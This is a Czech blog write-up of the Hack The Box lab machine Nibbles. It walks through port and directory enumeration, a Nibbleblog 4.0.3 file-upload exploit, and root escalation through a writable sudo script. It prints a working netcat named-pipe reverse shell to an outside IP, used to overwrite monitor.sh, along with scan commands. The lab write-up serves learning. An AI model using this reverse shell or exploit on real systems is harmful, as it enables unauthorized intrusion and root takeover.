tom@home.htb:~$

Blog o HTB

21 December 2020

Nibbles

Úvod a kontext

Nibbles je krátký řetězec se dvěma přesně čitelnými body zlomu: objevem skryté cesty /nibbleblog a známým upload exploitem v administraci. Jakmile se podaří dostat do blogu, první shell nevzniká exotickou technikou, ale prostým nahráním souboru přes zranitelné admin rozhraní.

Druhá polovina je ještě přímočařejší. sudo -l ukáže zapisovatelný /home/nibbler/personal/stuff/monitor.sh a od té chvíle je root už jen otázka přepsání jednoho souboru.

Počáteční průzkum

Apache a skrytý nibbleblog

Základní scan ukáže jen SSH a Apache, takže první útok bude přes web. cewl a následný gobuster nad krátkým slovníkem vytvořeným z webu rychle odhalí adresář nibbleblog. Praktickou roli lokálního webového slovníku rozebírám i v článku CeWL.

Praktické scénáře pro podobný typ enumerace shrnuji i v samostatném článku Gobuster.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
cewl -v --with-numbers http://$IP > /tmp/$IP-dict.txt && gobuster dir -u http://$IP/ -w /tmp/$IP-dict.txt -t 40 -x php
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

=> nibbleblog

Analýza zjištění

Nibbleblog a upload exploit

Jakmile je technologie známá, další krok je ověřit její verzi a dostupné exploity. searchsploit ukáže dvě relevantní položky, z nichž důležitější je Nibbleblog 4.0.3 - Arbitrary File Upload.

Jak podobný výstup správně číst rozebírám i v samostatném článku Searchsploit. Praktické scénáře, kde administrace sama slouží jako execution kanál pro plugin nebo upload, shrnuji i v článku Nebezpečné uploady: polygloty, WAR deploy a plugin upload.

searchsploit nibbleblog
Nibbleblog 3 - Multiple SQL Injections          | php/webapps/35865.txt
Nibbleblog 4.0.3 - Arbitrary File Upload        | php/remote/38489.rb

Oficiální synopsis stroje zároveň napovídá dvě důležité věci: uživatelské jméno se dá zjistit a aplikace používá blacklist proti login pokusům. To znamená, že smysluplnější než agresivní brute-force je krátká ruční sada pokusů, která otevře přístup do administrace blogu.

Jakmile funguje admin rozhraní, exploit 38489 dovolí přes upload obrázku nebo pluginu dostat na server PHP payload a tím i první shell.

Získání přístupu

Shell jako nibbler

Po úspěšném uploadu přes Nibbleblog vznikne shell v kontextu uživatele nibbler. Tady je užitečné hned potvrdit foothold přes user.txt.

cat user.txt
__CENSORED__

Eskalace oprávnění

Přepsání monitor.sh

Lokální sudo -l ukáže přesně to, co na Nibbles rozhoduje: uživatel nibbler může bez hesla spouštět /home/nibbler/personal/stuff/monitor.sh. Pokud je tenhle soubor zároveň zapisovatelný, není potřeba nic složitě obcházet. Stačí ho přepsat reverzním shellem a spustit přes sudo.

Je to čistý příklad vzorce rozebraného v článku Zápis do prostoru, který se pak vykoná nebo použije pro autentizaci: samotný write ještě není root, ale write do skriptu, který později běží s vyššími právy, už prakticky ano.

sudo -l
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
echo "rm /tmp/tshell;mkfifo /tmp/tshell;cat /tmp/tshell|/bin/bash -i 2>&1|nc 10.10.14.4 4000 >/tmp/tshell" > /home/nibbler/personal/stuff/monitor.sh
sudo /home/nibbler/personal/stuff/monitor.sh
cat root.txt

Praktickou roli nc v podobných named-pipe shellech rozebírám i v článku Netcat a nc.

__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

Další související články

HTB Stroje

Techniky

Nástroje

tags: linux - file-upload - ssh - sudo - php - exploit